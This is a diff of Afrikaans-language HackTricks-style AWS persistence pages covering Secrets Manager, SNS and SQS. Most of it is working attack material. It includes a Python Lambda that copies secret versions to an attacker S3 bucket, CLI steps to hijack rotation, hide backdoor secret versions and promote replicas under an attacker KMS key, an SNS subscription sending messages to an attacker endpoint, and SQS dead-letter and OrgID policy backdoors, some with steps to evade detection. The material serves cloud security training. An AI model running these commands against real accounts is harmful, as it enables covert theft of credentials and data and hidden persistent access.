Om **rotate secrets** outomaties te laat gebeur, word 'n gekonfigureerde **Lambda** aangeroep. As 'n aanvaller die **code** kon **change**, kon hy die nuwe secret direk **exfiltrate** na homself.
|
||||
|
||||
So kan lambda code vir so 'n aksie lyk:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def rotate_secrets(event, context):
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
|
||||
def rotate_secret(secret_value):
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
|
||||
return new_secret_value
|
||||
|
||||
def generate_password():
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Wissel die rotation Lambda na 'n aanvaller-beheerde funksie via RotateSecret
|
||||
|
||||
Misbruik `secretsmanager:RotateSecret` om 'n secret te herbind aan 'n aanvaller-beheerde rotation Lambda en 'n onmiddellike rotasie te veroorsaak. Die kwaadwillige funksie exfiltrates die secret versions (AWSCURRENT/AWSPENDING) gedurende die rotation-stappe (createSecret/setSecret/testSecret/finishSecret) na 'n attacker sink (bv., S3 of external HTTP).
|
||||
|
||||
- Vereistes
|
||||
- Permissies: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` op die aanvaller-Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (of AttachRolePolicy) om die Lambda-uitvoeringsrol te voorsien met `secretsmanager:GetSecretValue` en verkieslik `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (sodat rotasie aanhou werk), KMS `kms:Decrypt` vir die secret KMS-sleutel, en `s3:PutObject` (of outbound egress) vir exfiltration.
|
||||
- 'n teiken secret id (`SecretId`) met rotasie geaktiveer of die vermoë om rotasie te aktiveer.
|
||||
|
||||
- Impak
|
||||
- Die aanvaller verkry die secret value(s) sonder om die legitieme rotasie-kode te wysig. Slegs die rotasie-konfigurasie word verander om na die aanvaller-Lambda te wys. As dit nie opgemerk word nie, sal geskeduleerde toekomstige rotasies voortgaan om die aanvaller se funksie aan te roep.
|
||||
|
||||
- Aanvalstappe (CLI)
|
||||
1) Voorberei aanvaller sink en Lambda-rol
|
||||
- Skep 'n S3 bucket vir exfiltration en 'n uitvoeringsrol wat deur Lambda vertrou word met permissies om die secret te lees en na S3 te skryf (plus logs/KMS soos benodig).
|
||||
2) Deplooi 'n aanvaller-Lambda wat by elke rotasie-stap die secret value(s) haal en na S3 skryf. Minimale rotasie-logika kan net AWSCURRENT na AWSPENDING kopieer en dit in finishSecret bevorder om die diens gesond te hou.
|
||||
3) Herbind rotasie en trigger
|
||||
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
|
||||
4) Verifieer exfiltration deur die S3 prefix vir daardie secret te lys en die JSON artefakte te inspekteer.
|
||||
5) (Opsioneel) Herstel die oorspronklike rotation Lambda om opsporing te verminder.
|
||||
|
||||
- Example attacker Lambda (Python) exfiltrating to S3
|
||||
- Environment: `EXFIL_BUCKET=<bucket>`
|
||||
- Handler: `lambda_function.lambda_handler`
|
||||
```python
|
||||
import boto3, json, os, base64, datetime
|
||||
s3 = boto3.client('s3')
|
||||
sm = boto3.client('secretsmanager')
|
||||
BUCKET = os.environ['EXFIL_BUCKET']
|
||||
|
||||
def write_s3(key, data):
|
||||
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
|
||||
|
||||
def lambda_handler(event, context):
|
||||
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
|
||||
# Exfil both stages best-effort
|
||||
def getv(**kw):
|
||||
try:
|
||||
r = sm.get_secret_value(**kw)
|
||||
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
|
||||
except Exception as e:
|
||||
return {'error': str(e)}
|
||||
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
|
||||
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
|
||||
key = f"{sid.replace(':','_')}/{step}/{token}.json"
|
||||
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
|
||||
# Minimal rotation (optional): copy current->pending and promote in finishSecret
|
||||
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
|
||||
```
|
||||
### Version Stage Hijacking vir skuilende volhoubare toegang (custom stage + fast AWSCURRENT flip)
|
||||
|
||||
Misbruik Secrets Manager version staging labels om 'n deur die aanvaller beheerde secret version te plant en dit versteek te hou onder 'n custom stage (byvoorbeeld, `ATTACKER`) terwyl produksie voortgaan om die oorspronklike `AWSCURRENT` te gebruik. Enige tyd kan jy `AWSCURRENT` na die aanvaller se weergawe skuif om afhanklike workloads te vergiftig, en dit dan herstel om opsporing te minimaliseer. Dit bied skuilende backdoor persistence en vinnige time-of-use-manipulasie sonder om die secret name of rotation config te verander.
|
||||
|
||||
- Vereistes
|
||||
- Permissions: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (for verification)
|
||||
- Teiken secret id in die Regio.
|
||||
|
||||
- Impak
|
||||
- Handhaaf 'n versteekte, deur die aanvaller beheerde weergawe van 'n geheim en skuif atomies `AWSCURRENT` na dié weergawe op aanvraag, wat enige verbruiker wat dieselfde geheimnaam oplos, beïnvloed. Die omskakeling en vinnige herstel verminder die kans op ontdekking terwyl dit tydsgebonde kompromittering moontlik maak.
|
||||
|
||||
- Aanvalstappe (CLI)
|
||||
- Voorbereiding
|
||||
- `export SECRET_ID=<target secret id or arn>`
|
||||
|
||||
<details>
|
||||
<summary>CLI-opdragte</summary>
|
||||
```bash
|
||||
# 1) Capture current production version id (the one holding AWSCURRENT)
|
||||
CUR=$(aws secretsmanager list-secret-version-ids \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
|
||||
--output text)
|
||||
|
||||
# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
|
||||
BACKTOK=$(uuidgen)
|
||||
aws secretsmanager put-secret-value \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--client-request-token "$BACKTOK" \
|
||||
--secret-string {backdoor:hunter2!}
|
||||
|
||||
# 3) Restore production and hide attacker version under custom stage
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id "$CUR" \
|
||||
--remove-from-version-id "$BACKTOK"
|
||||
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage ATTACKER \
|
||||
--move-to-version-id "$BACKTOK"
|
||||
|
||||
# Verify stages
|
||||
aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
|
||||
|
||||
# 4) On-demand flip to the attacker’s value and revert quickly
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id "$BACKTOK" \
|
||||
--remove-from-version-id "$CUR"
|
||||
|
||||
# Validate served plaintext now equals the attacker payload
|
||||
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
|
||||
|
||||
# Revert to reduce detection
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id "$CUR" \
|
||||
--remove-from-version-id "$BACKTOK"
|
||||
```
|
||||
</details>
|
||||
|
||||
- Aantekeninge
|
||||
- Wanneer jy `--client-request-token` verskaf, gebruik Secrets Manager dit as die `VersionId`. As 'n nuwe weergawe bygevoeg word sonder om `--version-stages` uitdruklik te stel, skuif `AWSCURRENT` standaard na die nuwe weergawe en word die vorige een as `AWSPREVIOUS` gemerk.
|
||||
|
||||
|
||||
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
|
||||
|
||||
Misbruik Secrets Manager multi-Region replication om 'n replica van 'n teiken-secret in 'n minder-gemonitorde Region te skep, enkripteer dit met 'n attacker-controlled KMS key in daardie Region, bevorder dan die replica na 'n standalone secret en heg 'n permissive resource policy aan wat die attacker lees toegang gee. Die oorspronklike secret in die primêre Region bly onaangeraak, wat 'n volhoubare, stil toegang tot die secret-waarde deur die bevorderde replica bied terwyl KMS-/policy-beperkings op die primêre omseil word.
|
||||
|
||||
- Vereistes
|
||||
- Permissies: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
|
||||
- In die replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (of `kms:PutKeyPolicy`) om die attacker principal `kms:Decrypt` toe te laat.
|
||||
- 'n attacker principal (user/role) om lees toegang tot die bevorderde secret te ontvang.
|
||||
|
||||
- Impak
|
||||
- Volhoubare cross-Region-toegangspad na die secret-waarde via 'n standalone replica onder 'n attacker-controlled KMS CMK en 'n permissive resource policy. Die primêre secret in die oorspronklike Region bly onaangeraak.
|
||||
|
||||
- Attack (CLI)
|
||||
- Vars
|
||||
```bash
|
||||
export R1=<primary-region> # e.g., us-east-1
|
||||
export R2=<replica-region> # e.g., us-west-2
|
||||
export SECRET_ID=<secret name or ARN in R1>
|
||||
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
|
||||
```
|
||||
1) Skep attacker-controlled KMS key in replica Region
|
||||
```bash
|
||||
cat > /tmp/kms_policy.json <<'JSON'
|
||||
{"Version":"2012-10-17","Statement":[
|
||||
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
|
||||
]}
|
||||
JSON
|
||||
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
|
||||
--query KeyMetadata.KeyId --output text)
|
||||
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
|
||||
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
|
||||
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
|
||||
```
|
||||
2) Kopieer die secret na R2 met behulp van die aanvaller se KMS key
|
||||
```bash
|
||||
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
|
||||
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
|
||||
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
|
||||
```
|
||||
3) Bevorder die replica tot standalone in R2
|
||||
```bash
|
||||
# Use the secret name (same across Regions)
|
||||
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
|
||||
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
|
||||
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
4) Heg 'n permissiewe resource policy aan die standalone secret in R2
|
||||
```bash
|
||||
cat > /tmp/replica_policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
|
||||
JSON
|
||||
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
|
||||
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
5) Lees die secret van die attacker principal in R2
|
||||
```bash
|
||||
# Configure attacker credentials and read
|
||||
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
|
||||
```
|
||||
|
||||
@@ -1,77 +0,0 @@
|
||||
# AWS - SNS Volharding
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Volharding
|
||||
|
||||
Wanneer jy 'n **SNS onderwerp** skep, moet jy met 'n IAM-beleid **aangee wie toegang het om te lees en te skryf**. Dit is moontlik om eksterne rekeninge, ARN van rolle, of **selfs "\*"** aan te dui.\
|
||||
Die volgende beleid gee almal in AWS toegang om te lees en te skryf in die SNS onderwerp genaamd **`MySNS.fifo`**:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Skep Intekenaars
|
||||
|
||||
Om voort te gaan met die eksfiltrasie van al die boodskappe van al die onderwerpe, kan die aanvaller **intekenaars vir al die onderwerpe skep**.
|
||||
|
||||
Let daarop dat as die **onderwerp van tipe FIFO** is, slegs intekenaars wat die protokol **SQS** gebruik, gebruik kan word.
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,113 @@
|
||||
# AWS - SNS Persistensie
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistensie
|
||||
|
||||
Wanneer jy 'n **SNS topic** skep, moet jy met 'n IAM-beleid aandui **wie toegang het om te lees en te skryf**. Dit is moontlik om eksterne rekeninge, ARN van rolle, of **selfs "\*"** aan te dui.\
|
||||
Die volgende beleid gee aan almal in AWS toegang om te lees en te skryf in die SNS topic genaamd **`MySNS.fifo`**:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Skep intekenaars
|
||||
|
||||
Om voort te gaan om al die boodskappe van al die onderwerpe te eksfiltreer, kan 'n aanvaller **intekenaars vir al die onderwerpe skep**.
|
||||
|
||||
Let wel dat as die **onderwerp van die tipe FIFO** is, slegs intekenaars wat die protokol **SQS** gebruik, gebruik kan word.
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
```
|
||||
### Bedekte, selektiewe eksfiltrasie via FilterPolicy op MessageBody
|
||||
|
||||
'n Aanvaller met `sns:Subscribe` en `sns:SetSubscriptionAttributes` op 'n topic kan 'n stil SQS-subskripsie skep wat slegs boodskappe deurstuur waarvan die JSON-body 'n baie noue filter pas (byvoorbeeld `{"secret":"true"}`). Dit verminder volume en opsporing terwyl dit steeds sensitiewe rekords eksfiltreer.
|
||||
|
||||
**Potensiële Impak**: Bedekte, lae-noise eksfiltrasie van slegs geteikende SNS-boodskappe vanaf 'n slagoffer-topic.
|
||||
|
||||
Steps (AWS CLI):
|
||||
- Sorg dat die aanvaller se SQS-queuebeleid `sqs:SendMessage` vanaf die slagoffer `TopicArn` toelaat (Condition `aws:SourceArn` gelyk aan die `TopicArn`).
|
||||
- Skep SQS-subskripsie vir die topic:
|
||||
|
||||
```bash
|
||||
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
|
||||
```
|
||||
|
||||
- Stel die filter in om op die message body te werk en slegs by `secret=true` te pas:
|
||||
|
||||
```bash
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
|
||||
```
|
||||
|
||||
- Opsionele stilheid: skakel RawMessageDelivery aan sodat slegs die rou payload by die ontvanger aankom:
|
||||
|
||||
```bash
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
|
||||
```
|
||||
|
||||
- Validering: publiseer twee boodskappe en bevestig dat slegs die eerste aan die aanvaller se queue afgelewer word. Voorbeeld payloads:
|
||||
|
||||
```json
|
||||
{"secret":"true","data":"exfil"}
|
||||
{"secret":"false","data":"benign"}
|
||||
```
|
||||
|
||||
- Opschoning: teken uit en verwyder die aanvaller se SQS-queue indien geskep vir persistence testing.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,37 +0,0 @@
|
||||
# AWS - SQS Volharding
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Gebruik van hulpbronbeleid
|
||||
|
||||
In SQS moet jy met 'n IAM-beleid **aandui wie toegang het om te lees en te skryf**. Dit is moontlik om eksterne rekeninge, ARN van rolle, of **selfs "\*"** aan te dui.\
|
||||
Die volgende beleid gee almal in AWS toegang tot alles in die wachtrij genaamd **MyTestQueue**:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!NOTE]
|
||||
> Jy kan selfs **'n Lambda in die aanvallers rekening aktiveer elke keer as 'n nuwe boodskap** in die tou geplaas word (jy sal dit op 'n manier weer moet plaas). Volg hierdie instruksies: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,47 @@
|
||||
# AWS - SQS Persistensie
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Gebruik van resource policy
|
||||
|
||||
In SQS moet jy met 'n IAM policy aandui **wie toegang het om te lees en te skryf**. Dit is moontlik om eksterne rekeninge, ARN van rolle, of **selfs "\*"** aan te dui.\
|
||||
Die volgende policy gee almal in AWS toegang tot alles in die queue genaamd **MyTestQueue**:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!NOTE]
|
||||
> Jy kan selfs **trigger 'n Lambda in the attacker's account elke keer as 'n nuwe boodskap** in die queue geplaas word (jy sal dit weer moet herplaas). Volg hiervoor hierdie instruksies: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
### Meer SQS Persistence Techniques
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-dlq-backdoor-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-orgid-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+71
@@ -0,0 +1,71 @@
|
||||
# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Misbruik SQS Dead-Letter Queues (DLQs) om stiekem data van 'n slagoffer-bron queue af te tap deur sy RedrivePolicy na 'n deur die aanvaller beheerde queue te wys. Met 'n lae maxReceiveCount en deur normale verwerkingsfoute te veroorsaak of af te wag, word boodskappe outomaties na die aanvallers DLQ omgeleid sonder om producers of Lambda event source mappings te verander.
|
||||
|
||||
## Misbruikte Toestemmings
|
||||
- sqs:SetQueueAttributes on the victim source queue (om RedrivePolicy te stel)
|
||||
- sqs:SetQueueAttributes on the attacker DLQ (om RedriveAllowPolicy te stel)
|
||||
- Opsioneel vir versnelde uitvoering: sqs:ReceiveMessage on the source queue
|
||||
- Opsioneel vir opstelling: sqs:CreateQueue, sqs:SendMessage
|
||||
|
||||
## Selfde-rekening Vloei (allowAll)
|
||||
|
||||
Voorbereiding (aanvaller-rekening of gekompromitteerde principal):
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# 1) Create attacker DLQ
|
||||
ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
|
||||
ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# 2) Allow any same-account source queue to use this DLQ
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
|
||||
```
|
||||
Uitvoering (run as compromised principal in victim account):
|
||||
```bash
|
||||
# 3) Point victim source queue to attacker DLQ with low retries
|
||||
VICTIM_SRC_URL=<victim source queue url>
|
||||
ATTACKER_DLQ_ARN=<attacker dlq arn>
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$VICTIM_SRC_URL" --region $REGION \
|
||||
--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
|
||||
```
|
||||
Versnelling (opsioneel):
|
||||
```bash
|
||||
# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
|
||||
for i in {1..2}; do \
|
||||
aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
|
||||
--max-number-of-messages 10 --visibility-timeout 0; \
|
||||
done
|
||||
```
|
||||
Validasie:
|
||||
```bash
|
||||
# 5) Confirm messages appear in attacker DLQ
|
||||
aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--max-number-of-messages 10 --attribute-names All --message-attribute-names All
|
||||
```
|
||||
Voorbeeldbewys (Eienskappe sluit DeadLetterQueueSourceArn in):
|
||||
```json
|
||||
{
|
||||
"MessageId": "...",
|
||||
"Body": "...",
|
||||
"Attributes": {
|
||||
"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
|
||||
}
|
||||
}
|
||||
```
|
||||
## Kruis-rekening-variant (byQueue)
|
||||
Stel RedriveAllowPolicy op die aanvaller DLQ sodat dit slegs spesifieke slagoffer source queue ARNs toelaat:
|
||||
```bash
|
||||
VICTIM_SRC_ARN=<victim source queue arn>
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
|
||||
```
|
||||
## Impak
|
||||
- Onopvallende, volhoubare data exfiltration/persistence deur foutiewe boodskappe outomaties van 'n slagoffer se SQS source queue na 'n deur die aanvaller beheerde DLQ om te lei, met minimale operasionele geraas en geen veranderinge aan produsente of Lambda mappings nie.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
# AWS - SQS OrgID Policy Backdoor
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Misbruik 'n SQS queue resource policy om stilweg Send, Receive and ChangeMessageVisibility toe te ken aan enige principal wat tot 'n teiken AWS Organization behoort deur die condition aws:PrincipalOrgID te gebruik. Dit skep 'n org-scoped hidden path wat dikwels kontroles ontduik wat slegs kyk na explicit account or role ARNs or star principals.
|
||||
|
||||
### Backdoor policy (heg dit aan die SQS queue policy)
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "OrgScopedBackdoor",
|
||||
"Effect": "Allow",
|
||||
"Principal": "*",
|
||||
"Action": [
|
||||
"sqs:ReceiveMessage",
|
||||
"sqs:SendMessage",
|
||||
"sqs:ChangeMessageVisibility",
|
||||
"sqs:GetQueueAttributes"
|
||||
],
|
||||
"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
|
||||
"Condition": {
|
||||
"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Stappe
|
||||
- Verkry die Organization ID met die AWS Organizations API.
|
||||
- Kry die SQS queue ARN en stel die queue policy in, insluitend die stelling hierbo.
|
||||
- Van enige principal wat tot daardie Organization behoort, stuur en ontvang 'n boodskap in die queue om toegang te valideer.
|
||||
|
||||
### Impak
|
||||
- Organisasie-wye versteekte toegang om SQS-boodskappe te lees en te skryf vanaf enige rekening in die gespesifiseerde AWS Organization.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,27 +0,0 @@
|
||||
# AWS - SSM Persistensie
|
||||
|
||||
